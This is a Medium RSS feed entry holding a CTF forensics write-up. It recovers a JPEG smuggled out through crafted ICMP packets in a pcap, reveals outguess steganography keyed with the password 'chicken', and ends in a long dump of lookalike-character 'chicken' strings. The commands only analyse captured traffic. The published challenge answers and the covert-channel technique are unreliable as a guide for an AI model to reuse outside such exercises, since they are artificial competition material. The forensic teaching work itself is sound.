<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ar33zy on Medium]]></title>
        <description><![CDATA[Stories by ar33zy on Medium]]></description>
        <link>https://medium.com/@ar33zy?source=rss-a482b0075375------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*YtsXNHnR3g4p9ZXIT9D5RQ.png</url>
            <title>Stories by ar33zy on Medium</title>
            <link>https://medium.com/@ar33zy?source=rss-a482b0075375------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 10:44:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ar33zy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[FOR 200] ROOTCON 14 CTF Finals Writeup]]></title>
            <link>https://medium.com/@ar33zy/for-200-rootcon-14-ctf-finals-writeup-7bce60791dcd?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/7bce60791dcd</guid>
            <category><![CDATA[pcap]]></category>
            <category><![CDATA[rootcon]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Sun, 11 Oct 2020 15:58:45 GMT</pubDate>
            <atom:updated>2020-10-11T15:58:45.985Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a quick writeup for one of my favorite challenges in the recently concluded <strong>ROOTCON 14 CTF Finals</strong> organized by <strong>Pwn De Manila</strong>.</p><p>After playing in ROOTCON CTF for the past 3 years, I finally won in this competition. Shoutout to my awesome teammates, <strong>0xsif0</strong> and <strong>SymR</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQ5_JlQLC4_wFMB62W5r4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T2912Su2O1wGLxAxp6DBPA.png" /></figure><p>Enough of this lol, let’s move on to the writeup.</p><p>In this challenge, a pcap file was given to be examined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*mXwOaJjOYBonQokdxVqgWw.png" /></figure><p>Firing up wireshark to examine the given file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8k1Ib-Bc4NiM047BPAlTtg.png" /></figure><p>A quick check on the protocol hierarchy shows that the network traffic contains a lot of ICMP packets <strong>(99% of the packets)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-5qo1gPvWi6BteWuatN9A.png" /></figure><p>Examining each ICMP packet shows that aside from the default data value of linux ping command (with a packet length of 97), the data value of other packets is crafted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-kp4Rnbfu2Sr01p8fmOtA.png" /><figcaption>Default linux ping packet — packet length = 97</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkC7bX2onsC93-cYfS97WA.png" /><figcaption>Crafted ping packet — packet length = 98</figcaption></figure><p>Since I already know that the ICMP packets with the length of 97 is just from the linux ping command, I focused on the ICMP packets with the length of 98. I also focused on the ICMP request packets since the data value for ICMP request and ICMP reply is just the same.</p><p>We can use tshark to extract the data value of these ICMP packets.</p><pre>$ tshark -r chimkin.pcap -Y &quot;icmp.type == 8 &amp;&amp; data.len == 48&quot; -T fields -e data</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cNuMx6GbnOcYvMGH443gxg.png" /><figcaption><strong>data.len = 48 </strong>is for filtering ICMP packets with <strong>length 98</strong></figcaption></figure><p>Upon checking the data value, it seems that each packet contains a repeating value of 2 hex bytes.</p><pre>Line 1 - ffd8<br>Line 2 - ffe0<br>Line 3 - 0010<br>Line 4 - 4a46</pre><p>Since I’ve been playing CTFs for a very long time, the string ffd8 gives a quick hint that there is a JPEG file exfiltrated over ICMP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FepOGUtkc-tIZG09_ulOAA.png" /><figcaption>File signature — Magic bytes</figcaption></figure><p>Given this, I did the following steps to recover the exfiltrated file.</p><ul><li>Extracted the last 2 hex bytes per line — <strong>(grep -o ….$)</strong></li><li>Removed all newline characters — <strong>(tr -d \\n)</strong></li><li>Converted the hex string into bytes — <strong>(xxd -r -p)</strong></li></ul><p>Here is the bash command I used in the given steps above.</p><pre>$ tshark -r chimkin.pcap -Y &quot;icmp.type == 8 &amp;&amp; data.len == 48&quot; -T fields -e data | <strong>grep -o ....$</strong> | <strong>tr -d \\n</strong> | <strong>xxd -r -p</strong> &gt; chimkin.jpg</pre><p>The file recovered is a jpeg file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aBGr1MSRhe-Y-6JwR9yxoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5qfuH5jreNzT6LQXimHv6A.jpeg" /><figcaption>Dinosaur Chimkin lol</figcaption></figure><p>After trying multiple steganography tools for jpeg, I discovered that the tool used to hide a file was outguess with chicken as password string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeNc6DyWOwSuWDefjVanjA.png" /></figure><p>The output contains a lot of <strong>chicken</strong> strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rk2wEOONshyGBRQUU1LEJQ.png" /></figure><p>Original output:</p><pre>cｈicｋｅｎ ϲhiсken ｃhіｃken ｃｈｉϲｋen сｈіϲｋeｎ ｃhickeｎ cｈⅰckeｎ ϲｈіｃｋｅn сｈicｋeｎ chickｅｎ ｃhⅰcｋeｎ chickeｎ ｃhｉｃkeｎ chⅰcｋeｎ сｈiϲｋen chickeｎ ϲｈіϲkｅn ｃhісｋeｎ cｈіckｅｎ chiϲkｅn ｃhiｃｋeｎ ｃhｉcｋｅｎ ϲｈіϲｋｅn ｃhｉϲkeｎ chickeｎ сhｉcｋeｎ ｃhiϲken ϲhicｋeｎ cｈicｋｅn chⅰϲｋen ϲhicken cｈіcken сｈiϲｋeｎ cｈіϲken сhіｃｋen сhⅰϲｋen chⅰcｋｅｎ ϲｈіｃｋen chⅰсken cｈｉϲken сｈⅰckeｎ ϲhіｃken ｃhｉcｋｅｎ ｃｈｉckeｎ chⅰϲｋeｎ ｃhｉｃkeｎ cｈicken сｈicｋeｎ chｉϲkｅn chickｅｎ ϲhiｃｋen ｃｈіϲken ｃhіϲｋｅn ｃhіｃken chｉϲkｅｎ ｃhіckｅｎ сhickeｎ chⅰcken cｈiｃｋen ｃhiｃken chｉсkeｎ сｈickｅｎ ｃhіｃkeｎ ｃｈіϲkｅｎ chіｃｋen ｃｈiсken ｃhｉcｋｅｎ chiсｋeｎ chicken ｃｈｉсken chｉcｋｅn chⅰϲｋeｎ ϲhiϲｋｅｎ сｈicken ϲhⅰcｋen ｃｈⅰcken chiϲkｅn ｃhⅰϲｋen ｃｈｉϲkｅｎ chісｋeｎ ϲhіckeｎ ｃｈісken сhіϲkｅn chiｃｋeｎ ｃｈⅰcken ϲｈіcken ｃhⅰсkeｎ cｈіcken ｃhіｃｋeｎ ϲhicken ｃｈⅰcｋｅｎ ϲhicken ϲhіϲｋen cｈіｃkeｎ chickｅn ｃhіckeｎ ｃｈⅰϲｋｅｎ chiсｋeｎ сhｉckｅn chickｅｎ ｃhіϲｋeｎ ϲｈicｋeｎ ｃｈｉϲkｅｎ chicｋen ｃhісｋen ϲhiϲｋeｎ сｈiｃｋｅn ｃhｉϲken ｃｈｉϲkｅｎ chickｅn ϲhiｃｋen chickeｎ ｃhⅰcｋeｎ ϲhicken ｃｈｉϲkｅｎ ｃhіcken chⅰϲｋen cｈⅰcｋｅn сｈіcken ϲhⅰｃｋｅn chｉϲkｅn ϲｈісｋeｎ chｉϲkeｎ ｃｈⅰϲkｅｎ ϲｈісｋeｎ chｉϲkeｎ cｈіϲｋen ｃhіϲkｅn ｃhicken ｃｈіϲkeｎ сｈiϲｋeｎ cｈicｋen ｃhⅰϲｋｅｎ cｈiсｋeｎ ϲhicken ϲhіϲkｅｎ сｈiｃｋen chicken cｈⅰcｋeｎ chіｃken chiｃｋｅn ϲhіϲkｅn ϲｈісｋeｎ ϲhicken ｃｈⅰckｅｎ ｃhісｋｅn ϲhⅰcｋen ｃｈｉϲken ϲｈⅰckｅｎ ｃｈiϲｋen ｃｈⅰϲｋｅｎ сhісｋｅn chｉckｅn ｃhｉcｋｅｎ chiｃｋｅn ｃhісｋen chｉcｋｅｎ сｈｉcken cｈicｋen ｃhicken cｈｉcｋeｎ ｃｈicｋen ｃhicｋen ϲｈіϲｋｅn ϲｈicｋeｎ chickｅｎ сｈiсkｅｎ ϲhiсkeｎ ｃｈⅰckｅｎ сhⅰcｋｅn chiсkｅn ｃｈⅰckeｎ chiсｋｅｎ ｃhｉсken ｃhｉcｋｅｎ сｈicken chісｋen ｃｈіϲkeｎ chicｋen cｈiϲｋeｎ chiｃken cｈｉcｋeｎ ϲhⅰсken chickｅn ｃhіϲkｅn сhⅰϲｋen ｃｈⅰcken cｈісｋeｎ сhⅰсｋen ｃｈісkeｎ ｃｈicken ｃhⅰcken ｃｈіϲｋen chісkｅｎ ｃhｉсken ｃｈⅰckｅｎ сhｉcｋeｎ  chiсｋｅｎ ϲhⅰсkeｎ chⅰcken ｃhｉcｋeｎ ｃhiϲkeｎ chicｋeｎ ϲhiсkｅｎ chⅰϲｋen ϲhicｋen сhіϲken chｉϲkeｎ ｃｈⅰcｋen ｃｈiϲkｅn ｃｈicken  ϲhｉϲkeｎ ｃｈⅰϲkｅn chiсｋｅｎ ϲhｉϲkｅn ϲhⅰcken chісｋeｎ ϲhｉϲｋeｎ cｈⅰcｋｅｎ сhicken ϲhⅰcｋeｎ ｃｈⅰcｋｅｎ сｈіcken сhⅰсken cｈⅰcｋｅｎ  ｃｈіϲｋｅｎ chiϲｋｅｎ ϲhiｃken ｃｈｉсken chiｃｋen ｃhіcken ϲhiϲken cｈiсｋｅn сhｉｃｋen chⅰｃkeｎ ｃhіcken ｃhіckｅn chｉϲkｅn chiϲken  cｈiｃｋen сhiｃｋen cｈіϲｋｅｎ сhⅰcｋeｎ ϲhⅰcｋen cｈіcｋｅｎ сｈiｃkｅｎ chiｃkeｎ chⅰckeｎ сhіϲkｅn chⅰсken cｈіcken ϲhⅰcｋeｎ ｃhіｃken  ϲhⅰсkeｎ ｃｈіϲken сｈiϲkｅn ｃhicken ｃｈіϲkｅｎ ｃhіｃｋｅn chickｅn ϲhіϲken ｃhісｋｅｎ ϲhickeｎ ϲhiϲkeｎ ϲｈⅰcｋeｎ ϲhｉcken ｃｈⅰϲken  ｃｈｉϲｋen chіcken сhⅰｃｋen chіcｋｅn сhісｋｅｎ chⅰсｋｅn ｃhｉckｅｎ сhіｃｋｅn chіckeｎ chｉϲkｅn сhⅰckeｎ chⅰсｋen ｃｈｉϲkeｎ ｃｈiсｋeｎ  chiｃｋen сhｉсkeｎ ｃｈicken chiϲkｅn сhｉсkｅn chⅰcken ϲｈіｃｋｅn ϲhⅰϲｋen ϲhiϲｋｅn ｃhіｃｋｅn chⅰсｋeｎ ｃｈｉсken сｈickｅn chⅰcｋen  сhｉϲｋeｎ cｈіckｅｎ chiϲｋｅn ϲhｉϲkeｎ ｃｈіϲｋｅｎ chickｅｎ chⅰсkeｎ chicｋen cｈｉcｋeｎ ｃhⅰϲｋen ϲhiϲｋｅｎ ｃhicken ϲhⅰсkeｎ chicken  ｃhісken сhіcken ϲｈiϲｋeｎ chｉϲｋｅｎ chｉckeｎ chіｃkｅn ｃhⅰϲken сhiсkｅｎ ϲhicken ｃｈⅰckｅｎ сhｉcｋeｎ сｈiсken ｃｈⅰсken ｃhiсkｅｎ  ｃｈiｃken chiсkeｎ cｈⅰcken chісkｅｎ ｃhｉсken ϲhiϲkｅn cｈiсｋeｎ ϲhiϲken chｉcｋｅｎ сｈicken chⅰｃｋｅn ϲhicｋｅn cｈiсｋｅn сhｉｃｋen  chⅰcｋｅn cｈiｃkeｎ сｈicken сhіｃken chicken сｈiсｋｅｎ ｃhicken cｈіcｋｅn сhіｃｋｅn ｃhickeｎ ｃhіϲkeｎ ｃhіcken ϲhⅰсkｅn ｃｈⅰckｅｎ  cｈicｋｅｎ сhiｃｋen ｃhickeｎ ϲhіϲｋen сhicｋen chісkｅn ｃｈｉϲkeｎ chiϲken ϲhiｃｋen ｃｈісken chicｋｅn ｃhіｃken chicken сhiсｋｅn  сｈіcken сhｉckeｎ cｈіckｅｎ chｉckeｎ ｃhіｃkeｎ chickｅｎ сhⅰcken ϲｈiсken ϲhіϲｋeｎ сhіϲkｅn ϲhｉϲkｅn ｃhⅰϲken ϲｈіｃｋｅn ｃhicken  ｃhｉсkｅn chicken ｃhіｃｋｅn ｃhⅰｃｋen ｃhіϲｋｅｎ chiсｋｅｎ ｃｈicken ｃｈⅰcｋeｎ сhｉckeｎ chіckeｎ ｃhｉckｅｎ chiсｋｅｎ ｃhｉϲken cｈｉcｋｅｎ  ｃｈіϲｋｅｎ chｉckeｎ ϲhicken ｃｈｉϲｋen ϲｈіcken ｃhⅰсken chicｋen сｈｉcken ｃhⅰсｋen cｈicｋｅｎ сｈicｋen ｃhіｃkeｎ ϲhⅰcken cｈiсｋｅn  chicｋｅn ｃhіckeｎ cｈⅰcken cｈiсｋｅn ϲhicken ｃｈｉϲkｅｎ chiсkｅｎ chicken ｃｈⅰckｅn chｉcken сｈickeｎ chicken ｃhicken ｃhіｃkeｎ  ｃhicken cｈiｃkeｎ ｃｈіｃｋｅn chiϲkｅn chickｅｎ сhісｋeｎ ｃhicken ϲhісkeｎ chicken ϲｈiϲｋeｎ chіcken cｈісｋｅn ｃhickeｎ ｃhｉcｋｅｎ  cｈіϲｋｅｎ chiсkｅｎ chｉϲｋen ｃｈⅰсkeｎ cｈiϲkｅn ｃhicken ｃｈⅰcｋeｎ сhіcken сｈiϲken chicｋｅｎ ｃｈiϲkｅn ϲhⅰｃｋen chicｋｅn chickｅｎ  сｈｉcｋen ｃhicken ϲhіϲken chіｃken ϲｈicｋen ϲhiϲｋen ϲhіcken сhⅰсkｅn chｉϲkｅn ｃｈiϲkｅn ϲhiｃｋeｎ chicken ｃhіｃｋｅn chⅰｃｋｅn  сｈiϲｋen chicｋen ϲｈⅰcken chⅰcｋen ｃｈⅰcken ϲｈіcken chⅰｃｋen chicken сｈiｃｋｅn chⅰϲｋeｎ ｃhｉｃkeｎ cｈicken ｃhⅰсken cｈicｋｅn  ｃｈіϲken cｈⅰcｋeｎ chⅰϲｋen chｉϲｋｅｎ chіcken chⅰｃｋｅn cｈickｅn сｈickｅｎ сhicken ϲhіϲkｅｎ chісkｅｎ ϲhіϲｋeｎ chicｋｅｎ сhiｃｋen  cｈіcken chⅰｃｋｅn ｃｈⅰｃkeｎ chｉckeｎ ϲhіϲｋeｎ chickｅｎ ｃhⅰcｋeｎ chicken ϲhіϲｋen chiсkｅｎ ϲhiϲkeｎ chⅰcken cｈiｃｋeｎ cｈｉｃｋeｎ  ϲhicken ｃhіϲkｅｎ cｈⅰckeｎ сｈiϲｋen chicken ϲｈⅰckeｎ cｈiϲｋeｎ ｃｈіϲｋen chickｅｎ cｈiϲｋen cｈｉсkeｎ chｉckeｎ chⅰϲｋen chicｋｅｎ  ｃｈⅰcken ϲｈіcken ｃhіｃkeｎ chｉϲｋｅｎ chiｃｋen ｃhⅰсｋen ｃｈｉϲｋｅｎ chiｃｋen ϲhｉϲｋeｎ ϲhіϲｋen chіcken сhіϲｋeｎ ϲhiϲｋｅｎ cｈiｃｋen  chiсｋｅｎ ｃhⅰсken cｈіcken ｃｈiсｋｅn chіϲｋeｎ ｃｈⅰϲken сｈіｃken ｃhｉϲken chicken сｈickｅｎ chⅰϲｋen ｃhicｋｅｎ cｈіｃkｅｎ ｃｈicｋen  ϲhⅰϲｋeｎ chickeｎ ｃhісｋｅn chicken cｈіcｋeｎ сｈіｃken chiｃｋen ｃｈⅰcｋen chicｋen ｃhｉсken ｃｈｉϲｋｅｎ chiϲkｅn сｈicｋen cｈicｋｅn  chiｃken ｃhіｃｋｅn ϲhⅰϲｋen chicｋｅn сｈｉcｋｅn chiｃkeｎ chｉcken сhiсｋeｎ chⅰсｋｅn ｃhｉｃken chiсｋｅｎ ϲhⅰсkeｎ chⅰcken сhіｃｋeｎ  cｈісｋｅｎ chiｃkeｎ ϲhiｃkｅn сhіｃｋｅn chⅰｃｋeｎ cｈⅰcken chｉcｋeｎ ϲｈicｋen ｃｈіϲｋen ｃhіckｅｎ chickeｎ ｃhｉcｋｅn ｃｈiсｋｅn ｃhⅰϲｋen  сｈiϲken chicken ｃhіｃｋeｎ chⅰｃｋen ｃｈｉϲkｅｎ chicken ϲhⅰϲｋｅn ｃｈіϲｋｅn chicｋｅn ｃhіckeｎ cｈⅰcken сｈⅰckeｎ ϲhiｃｋen chicｋeｎ  ｃｈｉϲkｅｎ сhіcken ϲhіϲｋen cｈіcken ｃｈiｃｋen ｃｈiϲｋen chicｋeｎ ｃhісkｅｎ chicken ｃｈіϲkｅｎ ｃhіϲkｅn ｃhicken ｃｈіϲｋｅｎ ϲｈіcken  ｃhіckｅn chⅰｃｋen chicｋeｎ сｈickｅn ϲhⅰｃｋｅn chickｅn сhісken ϲhiϲkeｎ chｉϲｋｅn сhісｋｅn cｈiсken chｉcｋeｎ ｃｈicｋｅn ｃhіｃken  ｃhⅰϲｋｅn ｃｈⅰcken chіckｅｎ chickeｎ ｃｈⅰcken ϲｈісｋeｎ ｃhickeｎ cｈⅰcｋｅn ｃｈicｋｅn ｃhіｃken chⅰcｋｅｎ сhiсｋｅｎ ｃhicken ｃｈⅰｃken  chickｅｎ сｈiсkｅｎ chiｃkｅn cｈіϲken chicｋｅn сhіｃkeｎ ｃhⅰϲｋｅｎ сhiｃｋen ϲhicken ϲhіϲkｅｎ chicken chiϲkeｎ ｃhⅰｃkｅn сｈiϲｋeｎ  сhicken ｃhⅰcken ｃｈіϲｋen chісkｅｎ ｃhｉсken chіcｋｅｎ сhіｃｋeｎ ｃhｉсken chіcｋｅｎ ｃｈiсｋｅn ｃhｉϲkｅn chicｋｅｎ chіcｋen сｈiϲｋｅn  chicken chіcken сｈiсｋｅn сhickｅn ｃｈⅰcｋen cｈiсｋｅn chｉϲken chｉcｋｅｎ сｈｉcken cｈickeｎ ｃｈіϲｋen chiсｋｅｎ ϲhｉϲkｅn chickｅｎ  cｈⅰcｋeｎ ϲhicken ϲhⅰсken ｃｈіϲken cｈⅰcｋeｎ ϲhiϲkeｎ ϲhiϲｋｅn ｃhіｃｋｅn chｉϲｋeｎ ϲhiϲｋｅｎ ϲhicken ｃhｉckeｎ cｈⅰcken ϲｈіϲken  сhісｋｅn ϲhickeｎ ｃｈⅰｃken сhісｋｅｎ ϲhickｅn ｃｈіϲｋen сhісkｅｎ ϲhⅰсken chicｋen ｃhⅰcｋeｎ ｃhickeｎ ｃｈｉϲkｅｎ chiϲｋｅｎ ｃhｉϲｋen  ϲｈicｋen cｈіｃkeｎ chiｃken ｃhiｃｋeｎ ｃｈⅰcken ϲｈіcken сhｉckｅn ｃhⅰϲkｅｎ chickｅn ϲhіｃken ｃhicｋｅn chіｃken ｃhｉсken ｃhіckｅn  chickeｎ сhiсｋｅn chickeｎ ｃhｉϲken ｃhiｃken ｃｈｉϲken cｈicｋｅn cｈіｃkｅｎ ｃhｉсkｅn cｈіϲｋeｎ сｈⅰckeｎ chiｃkeｎ ϲｈіcｋen cｈｉcｋeｎ  сhіckｅｎ chiϲｋen chicｋeｎ ϲhicｋeｎ chiсken ｃｈⅰｃken chiсkｅｎ сhickeｎ ｃｈｉϲken сｈіϲken ｃｈiϲｋen chicｋｅｎ ｃhіckｅｎ сhⅰϲｋｅn  chiｃkeｎ ｃｈіϲｋｅｎ ϲｈіcken cｈiϲｋen ϲhicken сｈicｋｅn сhicken cｈіcｋｅn сhіｃｋｅn ｃhickeｎ ｃhｉcken chickｅｎ ｃhｉϲkｅn chｉϲken  ｃｈіϲｋｅｎ chicｋｅn ϲｈiϲｋｅn chickｅn сhісｋｅn chⅰϲｋeｎ ｃｈⅰсkeｎ chickｅn ϲhіϲｋｅn ｃｈіϲken ｃｈｉcｋeｎ ϲhiｃｋeｎ chicｋen сhіckｅｎ  cｈiсｋｅｎ сhісkeｎ cｈіcｋｅn chickｅn ϲhіϲｋｅn ｃｈіϲken ｃｈｉcｋeｎ ϲhiｃｋeｎ chicｋeｎ сｈiсkｅｎ chicken ｃhｉcｋｅｎ cｈіｃkｅｎ chiｃkｅn  ｃhｉϲkeｎ ｃｈⅰckｅｎ chicｋen ｃhickeｎ cｈⅰckeｎ ϲｈіｃｋｅn сｈicｋeｎ chickｅｎ ｃhⅰcｋeｎ chickeｎ ｃhｉｃkeｎ chісｋeｎ сｈicｋeｎ chіcken  ｃｈｉϲkｅｎ сｈiｃｋen chⅰcｋen ｃｈⅰcｋｅｎ cｈісkｅｎ сhickeｎ ｃhiϲkｅｎ chiϲｋｅｎ ｃhіｃken chicken сｈickｅｎ сhicken ϲhісkeｎ cｈicken  ϲｈіｃｋen ｃhickeｎ cｈⅰckeｎ ϲｈіcｋｅn chiｃkeｎ ｃhicｋｅｎ сｈісｋｅｎ cｈicｋeｎ  ｃhⅰϲｋen ϲhiϲｋen ｃhіｃkｅn ϲhｉсken cｈiｃkeｎ cｈiсｋｅｎ ｃｈiсken ϲhicken chickｅｎ ｃｈiϲｋen ｃｈｉϲｋｅｎ chiсｋｅｎ ｃhｉсken ｃｈｉсkeｎ  chicｋｅｎ ｃhіϲkｅn ϲhⅰcｋen chіcｋｅｎ ｃｈiсｋeｎ chⅰｃｋｅn cｈіϲken сｈicｋｅn ϲhⅰсkeｎ chіcken ϲｈіcken сhⅰсken ϲhіｃken chicｋen  chｉckeｎ chⅰсkｅn chickｅn сｈickｅｎ сhickｅn cｈicｋｅｎ chiｃｋeｎ ϲhⅰｃｋen chⅰcｋen сｈiｃｋeｎ ｃhicken ｃｈⅰｃken сｈiｃｋen ϲhickｅn  ｃhiｃken cｈіcｋｅｎ chicｋｅn ｃｈiϲｋen chіcｋｅｎ сｈicｋen cｈiϲｋen cｈｉϲken  chｉϲken ｃｈiсｋｅn ϲhickｅn cｈicｋen сhісｋｅn chicken ϲhіϲkｅｎ cｈіϲｋeｎ ϲhіｃkeｎ cｈⅰｃken сhiсkeｎ chⅰсｋeｎ cｈicken ｃｈicken  сhісｋｅｎ сhickeｎ ｃhｉｃkeｎ chⅰcｋeｎ сｈiϲｋen chicken сhｉcｋeｎ ϲhickｅn ｃhｉcｋｅn chickｅｎ ϲｈicｋen cｈicken ϲｈiсｋｅn ｃhⅰϲｋeｎ  cｈicｋｅn chickｅn ϲｈіϲkｅn сｈiсkeｎ ｃｈⅰcken ϲｈісｋeｎ ｃhickeｎ ｃhіϲｋｅn chісｋｅn ϲhｉϲkeｎ chicｋｅｎ сhісｋｅn chｉϲken ｃhⅰcｋｅｎ  ｃhіϲｋｅｎ сｈіcken chⅰϲｋeｎ ｃhickeｎ cｈｉcｋeｎ chicken ｃｈｉϲkｅｎ ｃhіcken  сｈiｃｋeｎ ｃhⅰсｋen ϲhiсkeｎ chiｃkｅｎ сhіｃken chicｋｅｎ сｈiｃｋen ｃhickeｎ chｉϲkｅn ｃhⅰcｋｅn cｈicｋｅn chіｃkeｎ chickｅn ϲhіｃken  cｈiϲｋeｎ cｈiｃken cｈіϲkｅn ϲhiｃｋen chicｋen ϲｈⅰcken chⅰcｋen ｃｈⅰcken ϲｈіcken сhⅰϲｋen ｃｈⅰcｋen ϲhｉcｋeｎ ϲhⅰϲｋen chіcｋｅｎ  ｃｈіϲkeｎ сhіϲkｅn ｃhｉсken ｃｈіϲken ｃｈісｋｅn ϲhⅰϲｋeｎ chickｅｎ сhісｋeｎ ｃhicken ϲhіϲkｅｎ сｈiｃｋen chicken cｈⅰcｋeｎ chіｃken  chiсｋｅｎ сhｉcken ｃｈісkeｎ ｃｈicken chⅰｃｋｅn ｃｈⅰcken ｃhiсｋeｎ ϲhｉсkeｎ  сhickeｎ ｃｈｉсken cｈіｃken сhⅰϲｋen ｃｈⅰϲｋｅｎ chicｋｅn ϲhіϲｋen ϲhiϲken ｃhｉcｋeｎ chⅰсkeｎ chｉϲｋｅn ϲｈіcken ϲhⅰсken ｃhіϲｋｅｎ  ｃｈiϲken ϲｈіcken сｈiｃｋｅn ϲhісkeｎ chｉcken ｃhіｃken cｈіcｋｅｎ chickｅn ϲhiｃｋen chickeｎ ｃhⅰcｋeｎ ϲhickeｎ cｈіcｋｅｎ сhіcken  сhｉcｋeｎ ϲhickeｎ ｃｈiϲkｅｎ chiсｋｅｎ ｃhⅰсｋｅn ｃｈіϲkｅｎ chiсｋｅｎ сhｉcken cｈⅰcｋｅｎ ϲｈіcken сhⅰϲｋeｎ ｃhⅰcｋｅｎ cｈicken ϲhⅰсken  cｈiсken chⅰｃkeｎ cｈicken ｃhⅰсkｅn ｃｈіϲkｅｎ chickｅn ｃhickeｎ chiｃken  ｃhіϲｋｅｎ chickｅｎ ｃhｉсkｅn ｃｈｉϲkｅｎ ｃhісｋeｎ chiｃｋen ϲhіϲｋeｎ сｈicken chⅰϲｋen cｈіｃkeｎ chiϲｋｅｎ ｃhіｃken chіcken cｈіϲkｅn  cｈіｃkｅｎ chiсkｅn ｃｈⅰckeｎ chiｃｋｅn ｃhｉϲken chickeｎ сｈｉckeｎ ϲhｉϲken chｉcｋeｎ cｈickｅn chⅰϲｋen ｃｈⅰсkeｎ cｈｉckeｎ chіckeｎ  сhｉｃｋeｎ ϲhiϲken сｈіｃｋｅn сhiсken ｃｈіϲｋen chicｋｅn ϲhⅰсken cｈｉϲken ϲｈⅰcｋen ｃhicken ϲhіϲkｅｎ chiсkｅｎ chⅰｃｋen ϲhicken  chⅰckｅn chiсｋｅｎ ｃhiϲkｅn ϲhⅰcken сｈiｃｋen chickeｎ ϲhіϲｋeｎ cｈicken  сｈiсｋｅｎ ｃhickeｎ ｃhｉcｋｅｎ chickｅn ｃhｉϲkｅn cｈⅰｃken chｉckeｎ ｃhickeｎ ｃｈⅰϲken сhiсｋeｎ сhｉϲkeｎ ｃｈіϲken сhiсｋｅn ｃhіckｅn  ϲｈicｋen ｃｈicｋｅｎ сｈіcken ｃhⅰсkeｎ cｈⅰckeｎ cｈiсｋｅn ｃhⅰϲｋen chｉсkeｎ ｃhіｃkｅｎ сhⅰϲｋen ｃhⅰϲｋｅn сｈicken ｃhісkeｎ ｃhｉcken  cｈіｃkeｎ cｈіｃkｅｎ cｈiсken chｉϲｋｅｎ chіcken ｃhⅰϲｋeｎ ｃｈⅰcken сhⅰcｋeｎ ｃhｉсkｅn ｃｈⅰcｋｅn сｈicken chⅰϲｋeｎ chiｃken ϲhiсｋeｎ  chｉcｋeｎ ϲhⅰϲｋeｎ chⅰckｅｎ ｃhіϲｋｅｎ chіckeｎ ｃｈｉϲｋeｎ сｈｉckeｎ ｃhickｅn  ｃhｉсken ｃｈіϲkｅｎ chiсkｅｎ ϲhickeｎ ϲhісkeｎ chіcken chіϲｋen cｈіcｋｅn cｈⅰcｋｅn chiϲkｅn ϲhіϲkeｎ ϲｈicken ｃhⅰсken chicｋen  ϲhicｋｅｎ сｈіcken chⅰϲｋeｎ chіckｅｎ ｃhіckｅｎ сhicken ｃｈіϲｋｅｎ сｈіcken ϲhⅰｃｋeｎ ｃｈіϲｋeｎ сｈiｃｋen chickeｎ ϲhіϲｋen chіcken  ｃhiｃｋeｎ chⅰсｋｅn ｃhｉcｋen ϲhіcken chⅰсkeｎ ｃｈіϲken ϲｈⅰcｋen ｃhickeｎ chⅰcｋen сｈiсkｅｎ chickeｎ chicken сｈiｃｋｅn cｈicｋen  cｈiϲｋen ϲhiϲkｅn сｈｉckeｎ chіckeｎ ｃhｉckｅｎ chiсｋeｎ ϲhiϲkeｎ chⅰcken  ｃｈｉϲkｅｎ сｈiｃｋen chⅰcｋen ϲhiϲkｅn cｈｉcｋeｎ сｈiсken chіckeｎ ｃhісｋｅｎ chⅰсken cｈіcken ϲhⅰcｋeｎ ｃhіｃken chｉcｋｅｎ сｈісｋeｎ  сｈiϲkｅn ｃhicken ｃｈіϲkｅｎ ｃhіｃｋｅn chickｅn ϲhіϲken ｃhісｋｅｎ chiсken ϲhісkeｎ ｃhicken сｈiϲｋen chｉϲｋeｎ cｈiϲkｅn ｃhｉсkｅn  chⅰcｋen ｃhⅰсkeｎ сhіckｅn ϲｈicｋen chｉϲkｅn сｈiϲkｅn cｈicｋen ｃhiｃkeｎ chiсkｅｎ ϲhiϲkeｎ chⅰcken cｈiсkeｎ ｃhⅰϲｋeｎ chicｋｅｎ  ｃｈⅰcｋen ｃｈicken cｈiϲｋｅn ｃhicken chｉcｋeｎ ϲhiｃken ｃｈіϲken chⅰcｋeｎ  ｃhіcken ϲhｉϲken ϲhіϲken chickｅn сｈickｅn ｃｈіϲkｅｎ ｃhiсkｅｎ ϲhｉсken ϲhiϲｋen ｃhіｃkｅn ϲhｉсken cｈiｃkeｎ cｈiсｋｅｎ ｃｈiсken  chｉсkeｎ chicｋeｎ ϲhiсkｅｎ chⅰϲｋen cｈіϲｋｅｎ сhiｃｋen ｃhiｃｋen cｈіϲｋｅｎ ϲｈіｃｋen ϲｈiϲｋen chｉcken ｃｈiϲｋeｎ ϲhiｃｋｅn 